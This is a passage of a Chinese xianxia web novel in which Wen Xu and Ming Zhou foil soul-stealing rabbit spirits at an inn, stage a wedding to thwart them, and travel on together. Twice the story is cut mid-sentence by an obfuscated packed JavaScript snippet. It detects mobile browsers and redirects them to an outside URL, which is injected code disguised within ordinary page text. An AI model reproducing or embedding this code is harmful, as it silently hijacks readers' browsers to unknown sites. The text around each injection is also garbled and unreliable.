大的结已经被解开,但是最后细枝末节的小结一直没有解开,闻絮看了一眼,问明舟有没有小刀。 明舟掏出自己随身带着的匕首递给闻絮,闻絮接过就要割断自己的头发,被明舟拦住,“割我的吧,女孩子的头发比较珍贵。” 闻絮应了一声,割断了明舟最后的发丝,二人的头发也就此分开。 一个小插曲过去,明舟提议一起出去,看看今天客栈内有没有异常。 二人出来的很早,客栈内歇息的客人大多都还没有起床,小二已经早早起来在大堂迎客。 昨日那个被打回原形的小二又恢复了原样,正在打水擦拭着楼内的桌椅。 门口来了几位结伴的客人,有男有女,但只是和小二交涉了几句就走了,并没有住店的意思。 明舟叫小二过来,让小二上一些江州的特色菜,他和闻絮就坐在一楼最显眼的位置看着来往的人。 等所有的菜都上来之后,闻絮不紧不慢地拿了筷子尝了尝这里的菜色。 这期间,她注意到又有几波人走进了凤凰台,但无一例外,都只是简单说了几句话之后就离开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416397|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后进来的是一个穿着粉衣的少女,看起来年纪不大的样子,她看了看楼内的陈设说要住店,这次小二却热情接待了她,一进门就为她送上了一杯琼花露,少女也很是爽快,举杯一饮而尽。 此时楼上传来熙攘声,一个身形肥胖的男子歪歪扭扭走了下来,他眼睛微眯,一屁股坐在了闻絮身边。 他把闻絮错认成了自己的娘子,还在向她倾诉,“娘子,这酒一点都不好喝,不知道什么时候能尝尝传闻中的琼花露啊?” 闻絮有些奇怪,不是每一位客人都会赠送琼花露吗? 她反问男人,“你没有喝过琼花露吗?” 男人随意地笑笑,身形越发懒散,整个人快要躺倒在地上,还在闻絮身边嗅了嗅,“娘子,你怎么没喝酒也醉了,你不是问过店家了吗?这琼花露有市无价,你想喝老板都不卖呢!” “不对,你是不是背着我喝酒了,你的身上好甜啊!” 说完男人就醉倒过去,被追下来的他的夫人又扶上了楼。 在少女住进来以后,小二在凤凰台的门外挂了一块牌子,“本店客满,暂停营业。” 闻絮和明舟对视了一眼,这意图就很明显了,三楼的房间明明还空着很多间,却挂牌说客满了,这说明献祭的人已经足够了,刚进来的少女显然就是最后的人选。 青丝垂第一层十六个房间,第二层一共十四个房间,第三层十二个房间,第四层十个,依次递减,到了第八层只有两个房间,第九层就只有一个房间了。 昨夜已经点亮了第七层,再需要两个人的魂魄就可以点亮第八层了。 闻絮骤然反应过来,昨天白日她和明舟二人喝了琼花露,他们二人就是被选定点亮第八层的人选。 被选定献祭的人就要喝琼花露,琼花露除了可以使人心智迷醉,还能有什么作用呢? 闻絮想起刚刚醉酒男人的话,抬起胳膊闻了闻自己,又凑近明舟的身边,闻了闻他的味道,好像是有一点甜。 她知道了,兔子的记忆是很短暂的,记不清人脸。但是兔子喜甜,喝了琼花露的人身上带着甜香,这也是它们锁定要夺舍的人的方法。 怪不得昨日半夜,自己才刚刚出去,后脚那兔子就发现了自己的踪迹。 既然不是给所有的人都喝了琼花露,那就证明兔子选择夺舍的人是有条件的,他们二人身上一定有和其他人不一样的地方。 刚刚那一对夫妻,闻絮昨日就见过,他们没喝过琼花露。 闻絮附在明舟耳边,把自己的猜测告诉了他,今天白天他们要找到身上带着甜香的人,昨夜被夺舍了四个人,灵魂被夺舍,但是身体一定还有香味。 两人分开行动,闻絮在二楼,明舟在三楼,一一排查路过的人。 经过一个上午的排查,最后锁定了三女一男,他们衣着大多华贵,没有很大的差别,唯一共同的一点就是,四个人的年纪都很小。 再加上刚刚进来的少女,还有她和明舟二人,可以确定兔子是挑选了年纪小的人下手。 闻絮又回到自己的房间,找到那本看过的游记,找到了里面的一句话,“公主年仅十八,未曾婚嫁,以身殉国。” 这就对了,兔子找的就是不曾婚嫁的年轻男女,要和公主的身世符合。 公主出身高贵,而这些人能住得起凤凰台,必然身家不菲;公主英年早逝,未曾婚嫁,这些人也全都年纪尚小,不曾婚配,全都对的上了。 闻絮冷笑一声,还是一只精打细算的兔子。 既然它精挑细选了一番,那她也要给这些兔子一份大礼。 8. 凤凰台4 昨夜小二送来的琼花露还在桌上,闻絮只是小酌了一口,还有完整的一壶在桌上放着。 闻絮看了看明舟,“明道友性格怎么样,外向吗?” 明舟迟疑了一秒钟,还是点了点头,闻絮笑了笑,那就好办了。 她把一个任务交给了明舟,让他务必办好,自己还有另外一件重要的事情要办。 明舟拿着酒壶和酒杯,挨个敲响了楼内的房间。 有些还没起床的客人被吵醒,满脸怒气地开门,但是听到可以喝到珍贵的琼花露的时候,怒气就消了一大半,有的还要搂着明舟称兄道弟。 明舟周旋了一大通,把在房间内的人几乎都叫起来喝了一杯,看着马上就见底的酒壶,他又想到了一个办法。 明舟问了小二厨房的位置,又撒了两滴酒在自己的脸上,营造出喝醉的样子。 他大声嚷嚷着早上在这里吃坏了肚子,一定是这里的食物不干净,大闹着要进厨房。 厨娘出来阻拦,但是架不住明舟力气大,只得答应放明舟进去看一眼。 明舟眼疾手快,掀开灶台上的锅盖,趁机把剩余的就都倒了进去,厨娘没看到他的动作,只以为他是饿了,往明舟手里塞了一盘点心让他出去了。 明舟做完闻絮交代的任务后回了房间,他站在窗边看着路上的行人,不知道闻絮去了哪里。 他只是按照闻絮说的去做,没有问闻絮去干什么。 他也觉得很奇怪,二人是第一次见面,他还不太了解闻絮,但是对于她的话却是莫名的信任。 他此刻迫切地想在人群中看到闻絮的身影,那个身着白衣,神色从容淡定的少女。 日头刚过正午,明舟在三楼的窗户看到了闻絮,闻絮是空手出去的,但现在她的肩上背了一个大包袱,看样子是买了一些东西回来。 包袱看起来鼓囊囊的,但是又软软的,包裹得严严实实的,看不出里面放了什么东西。 闻絮也注意到有人在看自己,顺着视线的方向看回去,发现了窗边站着的明舟,明舟被发现了也没闪躲,大大方方向闻絮挥了挥手。 闻絮低头没回应,扛着包袱进了大门。 “闻絮,你回来了。” “嗯。”闻絮淡淡嗯了一声。 “今天你交给我的任务我已经完成了,现在基本上酒楼里所有的人都喝了琼花露了。” 闻絮依旧点头,表示自己知道了。 她给自己倒了一杯水,下巴朝明舟抬了抬,让他打开包袱。 明舟照做,打开包袱看到了里面鲜红的嫁衣,包括了新郎还有新娘的衣服,红色布料配着金丝绣线,上面还绣着凤凰的图案。 闻絮是故意选的这个花色,收了她那么多钱还要夺舍她的魂魄,让她的身体归一只兔子所有,这世上哪有这么好的事情。 今晚她就气死那只兔子! 明舟看着嫁衣问道:“闻絮,你买嫁衣做什么?难道兔子也和斗牛一样,要用红色来对付吗?” “不,是用来成亲的,我和你。” 明舟的瞳孔一瞬间放大,他看着闻絮冷静的神态,不可思议重复了一次,“我和你?” 这三个字对于他的冲击力有一些大,他感觉这三个字一直在自己耳边盘旋。 闻絮又重复了一次,“对,就是我和你。” 她又喝完一杯水,接着补充道:“今晚兔子选中我们两个,虽然我们给所有的人都喝了琼花露,但是再找到我们两个也不是什么难事。” 闻絮放下水杯,手指摩梭着柔软的嫁衣,“今天我们就成亲,它不是要找未婚男女吗?我们成亲了就不可以了,今天我气死它。” “哈哈哈”,闻絮最后的语气有些可爱,明舟忍不住被她逗笑了,“想不到你还有这么孩子气的一面。” 闻絮:“你有心上人了吗?” 明舟摇了摇头,闻絮了然,“那就好。” 闻絮拿了衣服率先起身,拉下床上的帐缦,回头说了一句,“我在里面换,你在外面换,换好了叫我一声。” 随后就是窸窸窣窣的换衣服的声音,闻絮出去逛了好几家店,特地选了一身舒适的料子。 至于明舟的衣服,她是大概估摸着买的,应该不会太不合身。 闻絮动作很快,换好衣服就坐在床上等着,纱幔间她能隐约看到明舟的身影。 很快明舟的动作停下,随后温润的嗓音传来,“出来吧,我换好了。” 闻絮承认看到明舟的那一刻有一些失神,他的皮肤本就白,红衣更加衬托得他眉目如画,英姿勃发少年郎的感觉。 明舟看到闻絮也呆了一秒,二人见面时闻絮身上穿着的是玉清山的门服,纯白如一片雪,但没有多余的花纹,也不是很合身。 现在一袭红衣,与白衣简直是截然相反两个人,白衣的闻絮清冷,红衣则平添了一分娇俏。 明舟回想起闻絮那句“我气死它”,其实闻絮更适合红衣,少女明媚的样子深深烙印在他心底。 “准备好了吗?” 明舟清了清嗓音,“准备好了。” 闻絮拿出留影石,摆在二人的正前方,用来记录。 闻絮拿出包裹里的绣球丝带,一端自己拿在手里,把另一端放在了明舟手里。 “这里没有证婚人,只有我们两个人,那就由我来喊。” 闻絮又接着说,“我没有父母,也不愿跪拜于天地,传统的仪式我们就免了吧。” 明舟看着闻絮的眼神里多了一丝心疼,“好。” “夫妻对拜。” 闻絮喊完,两人面对面弯下身子,明舟弯得比闻絮还低。 “我闻絮,父母皆无,今日虽无父母之命,但有喜结良缘之心,愿嫁与明舟,不论疾病还是死亡,不离不弃。” “我明舟,今日愿娶闻絮为妻,虽无亲朋见证,但此心真切,愿生死相依,福祸相随。” 闻絮听着二人的誓词,心里默念着不作数的,她不是这个世界的人,也许早晚都是要离开的。 闻絮拿起桌上的酒杯,“喝了交杯酒,就算是礼成了。” 二人胳膊相贴,一起饮下杯中的酒。 礼成。 闻絮收起留影石,看着明舟松腰带的动作,以为他要脱下婚服,按住了他的手。 “先别脱,等到今晚之后再脱。” 明舟失笑,“我不脱,我的腰带系反了。” 闻絮松开明舟的手,指尖还残留着明舟手背的温度。 二人没有再说话,静静在房中等待夜幕降临。 天色渐渐漆黑,凤凰台的一楼继续响起了乐声,戴着面纱的舞女继续扭着柔软的腰肢,脚上的铃铛发出清脆的响声。 闻絮听着一楼的声音,有些烦躁,这些人不嫌吵闹吗?怎么日日都要听这些音乐? 明舟还在窗前看着青丝垂,等到街上最后一丝灯火消失,他回头看了闻絮一眼点点头,表示可以行动了。 明舟率先从窗户跳了出去,随后在下面等着,接了闻絮一把,二人的动作很轻,没有惊动楼内的人。 楼内歌舞依旧没停,两只眼睛通红的兔子开始关着的房间里出来,寻找琼花露的气味。 客栈人口数目众多,它们一时之间花了眼,努力嗅了嗅气味,却发现整座客栈都是这个气味。 其中一只兔子看着眼前一个大腹便便的男人,听着男人震耳欲聋的呼噜声,它还是准备下口,但很快被自己的同伴拦下。 两只兔子疯狂地嗅着气味,一度怀疑自己的鼻子出了问题。 两只兔子还在寻找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416398|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻絮和明舟的时候,他们二人已经悄悄到了青丝垂的门口。 明舟把从兔子手里拿来的玉佩放在了门洞里,门自动开了一个小缝,二人蹑手蹑脚从缝中进去。 闻絮随手捡了一块石头放在门口,防止门自己关上。 青丝垂第一层是最大的一层,房间数也是最多的,十六个房间挨着形成一个圆环状。 最奇怪的是,一层没有楼梯,二层的房间仿佛悬空一般挂在上面,莫名有一种阴森森的恐惧感。 闻絮看了看头顶的高度,跳是不可能跳上去的,她问明舟,“你有办法可以上去吗?” 明舟也抬头看了下高度,摇了摇头,“凭借我们两个是上不去的,或许你会御剑,可以飞上去。” 气氛安静了一秒,闻絮有点尴尬地摸了摸鼻子,小声说了一句“我不会。” 明舟点头表示理解,自己还没有佩剑,也不会御剑。 楼内很安静,没有多余的声音,闻絮试着拉了一下左手边的房间,拉不开,她又向里推了一把,还是打不开门。 门上没有锁,但就是不管怎么使劲都是纹丝不动。 明舟沿着环形的圈子和闻絮隔了一个房间,拉了一下门的把手,房间没开,但是二人的头顶此刻传来了异响。 明舟吹开手中的火折子,昏暗的灯光下,他和闻絮一起抬头,看到屋顶挂着的两个笼子,一个笼子里面放了一只睡着的兔子。 方形的笼子高低起伏错落,一上一下,在半空中飘着。 闻絮思索了两秒,在第五个房间门口站定,“你去第七个房间门口。” 明舟就位,二人一起拉了一下,头顶又出现了动静,二人的头顶再次出现了两个笼子。 和上次的两个笼子一样,也是高低不齐,但是也正好和它们连成一起,在半空之中形成了残缺的楼梯,但很快最开始的两个笼子消失了。 明舟也反应过来,房间里其实根本没有东西,兔子都被放在头顶的笼子里,这些放兔子的笼子就是上楼的楼梯。 闻絮走到第二个房间门口,拉了一把,用眼神示意明舟去第四个房间门口,明舟照做,从地面轰一声弹出两个笼子,但是很快,原本上面的两个笼子消失了。 明舟不信邪,自顾自拉了另外两个偶数房间的门,也出现了两两抵消的画面。 自始至终,二人累了半天,一直都只有两个笼子可以存在。 “别试了,这些门的把手需要同时拉才可以凑够上去的楼梯。” “我们只有两个人,这里一共有十六个房间,怎么能做得到呢?” 闻絮也有些想不通,没有其他上去的办法,只能凭借楼梯上去。 昨夜她也看到了,只有小二一个人进来了,也没有其他人在,他是怎么做到的呢? 难道兔子精也会飞吗?闻絮脑中闪过一只会飞的兔子,那画面有点搞笑,她随后火速摇了摇头。 一个人,不对,一只兔子,有四只脚,就算脚再长可以同时拉到四间房,那也是远远不够的,除非它有工具。 想到工具,闻絮的目光继续搜寻起来,黑乎乎的屋子里几乎看不到什么有用的东西,唯独一旁的架子上搭着跳舞用的水袖。 闻絮拿起来一看,一共有两条水袖,但比一般的水袖长度要长很多,明显不是用来跳舞的,放在这里一定有别的用处。 想到了! 闻絮拿起一条水袖,一端在第一个房间的门把手上打结,随后顺着穿过第二个,第三个。 明舟也学着闻絮的样子,拿起另一条水袖绑着穿过剩下的房间。 等到二人准备好,闻絮嘴里数着数,“3,2,1,拉。” 二人背靠背,一起拉动了水袖,一瞬间,十六个笼子一起出现,搭建成了一座完整的楼梯。 9. 凤凰台5 明舟过去探了探兔子的呼吸,还是活着的,但它们好像都进入了沉睡的状态。 他触碰了兔子的眼睛,但还是看不到一点东西。 他看到闻絮在用袖子擦汗,从自己衣服里掏出一块干净的手帕,递给闻絮,“擦擦汗,夜里寒气重,容易受凉。” 闻絮接过帕子,说了一句谢谢。 此后的几层也是如法炮制,二人登上第七层之后,闻絮停止了动作,坐在原地休息。 她总觉得哪里有些不对劲,他们二人上来的是不是有些过于顺利了? 她现在也不客气的喊道友了,直接喊明舟的名字,“明舟,你有没有觉得有点奇怪,每一层楼都恰好放了水袖,那兔子每次上来都需要这么麻烦吗?” 明舟也想了想,虽然兔子是一根筋的动物,但应该也不至于这么傻,这样的上楼方式确实是有点傻。 二人还在说着话,第七层和第八层之间的楼梯自动弹了出来,这把二人都吓了一跳。 霎那间,第七层及以下的房间里的灯都亮起来了,刺目的灯光让二人都拿起袖子挡住了眼睛。 等到他们适应了眼前的光线,闻絮看到两只兔子站在楼梯之上,嘴角是一抹诡异的微笑。 两只兔子分站在两边,中间一只体型更大的兔子站了出来。 他很快化作了人形,闻絮定睛看了看,是凤凰台一个不起眼的小二。 “自作聪明的人,你以为你二人今日成婚就有用了吗?不,都得死!今日你二人必须和离,明日就是月圆,谁也别想挡我的路。” 闻絮看着他扭曲的面庞,开口说道,“就不离,气死你,死兔子,一直如你的愿怎么行呢?” “什么,你敢叫我死兔子,我叫辰凡,我是公主殿下的使者!” “哦,知道了,死兔子。” 男人脸色阴沉,恢复了原形,又指挥两只兔子,三只兔子一起冲着二人跳下来。 两个兔子手下冲着明舟去了,辰凡则是冲着闻絮去了,他一定要给这个嘴臭的女人一个教训。 自己活了这么多年,居然被这么一个小毛孩叫死兔子。 明舟后撤一步,两只兔子在空中停滞一秒,随后被明舟的捕梦网一把网住。 明舟在网上施了法术,两只兔子又开始撕咬网绳,它们得到了明舟有力的两掌,昏睡过去了。 辰凡张开大嘴,露出锋利的牙齿,冲着闻絮的脖子就去了。 闻絮也没有后退,看着辰凡冲自己咬过来。 在它马上要接近自己的时候,闻絮扼住了它命运的咽喉。 辰凡被抓住了脖子,四只爪子开始扑腾,想要抓伤闻絮。 闻絮另一只手把它的四只脚抓在一起,抓着它脖子的手继续用力。 辰凡能感觉到闻絮没用什么法诀,怎么自己就是挣脱不开。 闻絮也确实没用什么法诀,就是大补丹吃多了力气也变得很大。 辰凡的脸被抓得通红,明舟在一旁看得惊呆了,慢慢补充了一句,“小心别把它掐死了。” 闻絮松了两分手中的力道,辰凡开始大口呼吸,空气中有一丝臭气袭来。 闻絮看着辰凡,眼神中带着不加掩饰的嫌弃。 她把辰凡松开,放在一边的地上,“说吧,怎么样才能让被夺舍的人灵魂归位?” 辰凡咳嗽了两声,又变回人形,假意要回答,但抬腿就要跑。 闻絮抓着他的小腿,辰凡死死不能动弹,闻絮另一只手拿起腰上的寒光,“现在抓着你的是我的手,你要是再跑,我就用这把剑扎在你的腿里,把你钉在这里。” 听到这里,辰凡不敢挣扎了。 但他也不回答闻絮的话,只是开始自顾自地抹眼泪。 “公主是一个极好的人,待宫里所有的人都好,甚至是我这样一只不起眼的兔子……” 话没说完,闻絮用力掐了它一下,“我没让你说这些,回答我的问题。” 辰凡此时脸上的表情很是丰富,惊讶带着生气,还有一丝屈辱。 “你休想知道,就算今日收不成你二人的魂魄,明日月圆时刻一到,这剩下的人的魂魄也勉强可以支撑法阵开启,你们休想挡我的路!” 闻絮又掐了它的腿一下,“你这死兔子这么大年纪了还听不懂人话吗?刚刚问你的事还没回答呢!” 辰凡用力转了一下脸,闷哼一声,“休想,你做梦,我是不可能告诉你的!” 闻絮没有再掐他的腿。 辰凡感觉到一丝可能,又快速转过脸来,“你们两个现在和离,我只取那个男人的性命。等公主的魂魄回来,她的财宝我分你一半。” 闻絮深有意味地笑了笑,“哦~,原来你复活公主是为了财宝啊。” 辰凡:“人哪有不爱财的,富可敌国的财宝你不心动吗?你放了我,我们合作一下,何乐而不为呢?” 辰凡还在那里絮叨,试图给闻絮洗脑。 闻絮拿过一旁的水袖,团起一角塞进了他的嘴里,剩下的拿来绑住了它的手脚,“吵死了。” 辰凡被塞住了嘴也还试图说话,一直发出呜囔呜囔的声音。 闻絮又往里塞了塞布料,拿出寒光威胁,“再乱叫唤我就扎你的腿。” 辰凡彻底安静了,不再闹腾了。 闻絮叫上明舟一起看看那些沉睡的兔子,他们几人在旁边这么大的动静,依旧死死闭着眼睛。 闻絮看了明舟一眼,问他:“你说,我如果掐它们一下,它们会醒吗?” 明舟:“你可以试一下。” 闻絮说完抬起手掐了一只兔子的腿,没反应,她又使了点劲,兔子的腿条件反射地蹬了一下。 闻絮扒开它的眼睛看了一下,又对着它的眼睛吹了一口气,还拿烛火晃了晃,依旧没反应。 辰凡不知怎么,吐出了嘴里塞着的布料。 “你真的不考虑一下吗?很多钱的!” 闻絮看他又在废话,想让明舟过去给他一掌,直接打晕好了。 明舟还没下掌,辰凡就叫起来,“你打晕我也没用,你们还是叫不醒这些兔子的!” 闻絮有些不耐烦,“叫你说你还不说,不叫你说你又一直在这里煽风点火。” 辰凡看闻絮态度强硬,也不准备再劝,“哼,纵使你有一身力气,也叫不醒这些梦中的魂魄,空有蛮力的俗货!” 辰凡说完,昂首挺胸等着看闻絮恼怒的表情,却看到闻絮眼睛微眯,嘴角一丝弧度扬起。 “你说得对,我是空有一身蛮力。” 闻絮蹲下身子,摸了摸明舟用来网兔子的金色网兜,“明舟,你 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“哦,刚刚忘记说了,我是空有一身蛮力,我这刚成婚的夫婿,恰好可以捕梦,算你有眼光,刚好选了我们两个。” 等到金丝从最后一只兔子的头顶收回,明舟将捕梦网收了起来。 笼中的兔子也一个接一个睁开了眼睛,略有些呆萌地看了看四周的环境。 有些胆小的直接叫了起来,另外一些则是挤着头要从笼子出去。 辰凡彻底绝望了,这些人的灵魂苏醒了,这些魂魄都有了自己的意识,献祭大法就难成了。 眼看自己辛苦已久的基业被毁,辰凡恼怒不已,就算大业不成,自己也绝不能死在这里。 他眼珠一转,想到了一个绝佳的办法。 辰凡自己是一只阴阳双生兔,它的血液有奇效,可以使沾染的两人命运与共,生死相连。 一对二打不过,但是如果只弄死一个,另一个跟着一起死那就很好办了。 于是它咬破了自己的爪子,血液流出来,它用被绑得不太紧的爪子一挥,一只手撕开一个口子,血液飞溅到二人脸上。 闻絮和明舟对辰凡没有设防,冷不丁被血液溅了一脸。 成了! 血液落在两人皮肤的一瞬间,热热的感觉,随即被吸收入体内,找不到一丝踪影。 辰凡看准了明舟的注意力还在那些兔子身上,对着明舟用力一扑。 明舟一时不察,被它扑倒,辰凡锋利的指甲直逼着明舟的喉结。 明舟将胳膊架在胸前抵抗着,尽力不让它碰到自己。 辰凡再次用力,二人一个闪身,从八楼的楼梯落下。 明舟双手扣着一层木板,想要借力上去,但是辰凡在下边抓着他的腰身,让他无法用力。 一切发生得太快,闻絮向下看的时候,只看到两人摇摇欲坠的身子。 她犹豫了一秒,这些人已经被唤醒了,明舟已经没有用处了。 自己要不要趁现在杀了他?是不是可以改写原来的剧情? 或者自己根本什么都不用做,只要在这里等着,他们二人体力耗尽,这么高的楼摔下去,两人都必死无疑。 10. 凤凰台6 闻絮还在犹豫,低头的时候却看到明舟刚刚给自己的熏球。 她又看到明舟青筋暴起的双手和摇摇欲坠的身子,犹豫了一秒,起身把另一条完整的水袖拿出来,从楼上扔了下去,扔到了明舟身旁。 明舟勉强伸出一只手抓住水袖,另一只手也顺势抓上去,忽然身子一轻,抓着他腰带的手松开了。 他下方的辰凡纵身一跳,率先抓住了水袖。 闻絮也感觉一阵重重的拉扯感,有些不对劲,向下看了一眼,辰凡正顺着水袖爬上来。 她立马泄力,放开水袖,辰凡猛得一下失去支撑,脱手离开,掉了下去。 闻絮脚尖迅速反应,踩住了剩下的半截,接着缠了几圈绕在自己的手上。 明舟再次拉住了水袖,借力翻身爬上了楼。 他回头看了一眼,一楼的正中间,辰凡安静地躺在那里,再也不说话了。 闻絮和明舟有些力竭,明舟成功爬上来之后,两人动作出奇地一致,躺在了地上。 他们大口喘着粗气,还没有意识到他们两人的命运此刻已经紧密相连。 闻絮看着此刻灯火通明的大楼,这次她又救了明舟一命。 明舟侧过头,看着闻絮的脸颊,一时无言。 二人身上还穿着鲜红的嫁衣,衣襟散落铺在地上,他觉得眼前场景十分震撼,舍不得闭上眼睛,只能细细看着,想记住这一切。 但闻絮很快恢复过来,起身的时候朝明舟伸出手拉了他一把。 他们二人现在只是唤醒了这些兔子,但怎么把灵魂换回来,还是个难题。 暂时想不出好的办法,明舟又拿出刚刚已经装满的捕梦网,“我们把这些兔子带走吧。” 二人一层层走下楼梯,打开笼子,拿出里面的兔子,把它们一只一只装进了网里。 这些兔子清醒以后也明白二人是来救他们的,没有一点反抗,听话地被装了起来。 他们走出青丝垂的时候,楼里的灯火顷刻熄灭,辰凡死后变回了兔子原形,闻絮用布包着它的尸体,也一起收了起来。 明舟提起继续一路向南,两人如果脚程快一些,半个月应该可以赶到天照宗。 他来江州,一方面是追查这些江州城的古怪,一方面也是去见天照宗的掌门。 天照宗的掌门玄天和明舟的父亲是故交,还有三 个月就是宗门大比了。 明舟的父亲特意交代他一定赶到天照宗,作为天照宗弟子出席,宗门大比之时人才辈出,不仅可以看到各宗门的杰出弟子,也可以见到一些绝世罕见的法宝。 各宗弟子挤破了脑袋要争夺一个可以去参加的机会,不求可以夺得第一,也只求可以开开眼。 现下应该正是各宗门正在进行内部选拔的时候。 历来宗门大比都是最受众人瞩目的,举办的地点每次也都不一样。 这次恰好抽到是在天照宗举办。 闻絮听到天照宗的名字的时候眉心跳了跳,原文中男主明舟就是出自天照宗。 他天资聪颖,天赋异禀,入天照宗后一直苦心修炼,但一直没有合适的法器,才没有脱颖而出。 宗门大比之前,炮灰“闻絮”拔了寒光剑送给了明舟,明舟也凭借寒光的威力在宗门大比之中一举夺魁。 这么看来,剧情还是在按照原来的方向发展。 那如果,自己带走了寒光,明舟没有了寒光威力的加持,是不是剧情就可以被改写了? “你带着这些兔子走吧,我要留在这里,我的剑鞘还没做好。” 闻絮想起了还没取走的剑鞘,随口应付到。 明舟眼神有一瞬间的不自在,还有几分失落。 他是想劝闻絮和自己一起走的,但是刚要开口,却又不知道自己可以有什么理由让她和自己一起走。 他看着闻絮的眼睛,她的眼睛很干净,如同浅棕色的玻璃珠,眼波流转,但是不带一丝情感。 明舟看出闻絮对于宗门大比没有多余的想法,要说的话也都淹没在唇齿间。 他只听到自己的声音出口,“尘世危险,你一个人一定多加小心。” “好,我会的,你也是,珍重。” 二人做了简短的道别,各自转身向不同的方向走去。 明舟低着头,踏着月色慢慢走着。 闻絮拿着寒光,骤然回头,看着他的背影。 现在他不加防备,要是现在动手杀了他,一定会容易不少。 闻絮眼神淡漠了几分,另一只手的拳头握紧。 她悄悄跟在明舟身后,不由得加快了自己的步子,在二人距离离得很近的时候,她的右手握住了寒光的剑柄。 她在心中默念了一声对不住,然后用力拔出剑身。 但寒光此时却卡壳了,不论闻絮怎么用力都拔不出来。 明舟听到身后的动静,也回头看,看到闻絮站在他身后,表情有些不自然。 “闻絮,你怎么在这里,是还有话想要说吗?” 明舟直勾勾看着闻絮,闻絮有些结巴,“我忘了和你说,今天已经太晚了,我们还是回凤凰台住一晚吧。” 明舟的脸上肉眼可见多了一丝笑意,“对,天色晚有点危险,我们明日再出发吧。” 闻絮也愣愣点了点头,她现在有些生气。 这个寒光是怎么回事?关键时刻居然掉链子。 她和明舟各自回到了自己原来的房间,辰凡已经死了,凤凰台内暂时没有威胁了。 闻絮目送着明舟回到了楼道另一端的房间,然后气鼓鼓地问寒光,“我刚刚想要拔剑,你为什么不出来?” 寒光的声音弱弱的,显得有些心虚,“我也不知道,就是我作为剑灵的直觉,我是要保护主人的,也说不出来哪里不对劲,感觉那个时候对你不利,我就没有出去。” 闻絮懊恼的心思冷静下来,男主光环真的如此强大吗? 即使寒光现在不是明舟的佩剑,还是会下意识去保护他吗? “我知道了。” 闻絮的情绪有些低落,不太想要说话,寒光继续说着,“我作为剑灵,也不能时时刻刻都出来,只有你有危险的时候我才可以出来,我大部分的时间都是要在呆在剑里的。” “嗯,你回去吧。” 说完,寒光的声音消失,房 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闻絮关上房门,走到一楼,出门的时候却碰上了刚要进门的明舟。 他还是穿着昨日那身婚服,手里提着几个包好的月饼。 他看到闻絮的时候眉眼弯弯,如一湾春水融化,“你醒啦。” 闻絮刚刚睡醒,嗓音还有些沙哑,“你还没走。” 明舟提起月饼递给闻絮,“今天是中秋,我想着一个人,陪你吃了月饼再走。” “谢谢。”闻絮拿着月饼,暖暖的温度透过袋子传到她手心。 这两日她好像对明舟说了很多句谢谢。 闻絮小口小口掰着月饼,她看着二人身上的婚服,再穿着这身衣服也不合适了。 她咽下最后一口饼皮和馅料,拍了拍手心的碎屑。 辰凡死了,那些兔子修炼成的小二也都连夜跑路了。 柜台也无人看管,只有厨房内的胡萝卜被洗劫一空了。 闻絮自然地走到柜台前,拉开脚下的柜门,里面还有一个小抽屉,抽屉里放着厚厚一叠银票。 闻絮也毫不客气,拿来一起装进了自己兜里。 这些兔子不要钱,那她就拿走了。 她看着明舟吃完手里的饼,向他抬了抬下巴,“走吧,我们去换身衣裳。” 两人去了附近的一家裁缝店,进门老板娘热情地招呼着。 “呦,两位新人这是刚成婚吧,祝你们夫妻恩爱,白头到老,两位今天想看点什么?” 说完老板娘自顾自推销起店里新进的布料,“这个料子舒服,颜色也好……” 明舟听完老板娘的推销,轻轻微笑,“不用了,我们看看做好的成衣就可以。” 老板娘的脸上再次堆满谄媚的笑容,“成衣到这边来,我们店的成衣种类非常多,您看看喜欢什么,都可以拿来试试。” 明舟偏爱蓝色,从前就是穿着一身蓝色,如今也是又选了一身蓝色长袍,只是绣着的花纹和从前不同而已。 11. 凤凰台7 明舟试了试很合身,随即就穿在了身上。 闻絮看着眼前颜色颇多的衣服反而有些犯难,自己不会什么清洁的法术,衣服脏了还需要一直换。 白色不是特别耐脏,黑色有些过于严肃,红色过于艳丽,而明舟穿了蓝色,自己不能再穿。 选来选去,闻絮选择了几件不一样的粉色衣裙,“老板,这几件我都要了。” 明舟看着闻絮选好了衣服,要从袖子里拿出银子付钱。 闻絮压下了他付钱的手,“我来。” 她从刚刚拿的银票里掏出一张,老板娘高兴地接过了银票。 “夫人管家,家庭才能兴旺,公子的私房还是自己留着花吧。” 明舟想了想,花的也是那兔子的钱,不是闻絮的,也就没有再说什么。 买完衣服,两人在江州的事情也算办完了,明舟也准备启程去天照宗了。 明舟临走前最后一次问闻絮,“闻絮,你真的不和我一起去吗?” 闻絮没回答,她还在想,如果一会明舟转身自己再动手,还能不能成功。 明舟还在继续说着,“你天赋极好,还有你手中的这把剑,只要你潜心研究,一定可以大有进益。” 这句话说动了闻絮,天照宗是比玉清山还大的宗门,自己如果可以留在那里修习法术,以后就算没有寒光,也可以自保。 “如果你不想去也是可以的,一定记得给我写信,宗门大比结束之后我一定回来找你。” 后面的话闻絮没有听进去,她还在考虑明舟刚刚的话。 她忽地抬起头,“如果我想去,你愿意带我去吗?” 明舟立马点了点头,“我愿意,只要你想去,我们就一起走。” “那我想去。” “好。” 人的心意是会改变的,睡了一晚的闻絮忽然改变了想法,去天照宗也没什么不好的。 两人在城中一起买了干粮还有好多的胡萝卜,然后一起踏上了去天照宗的路。 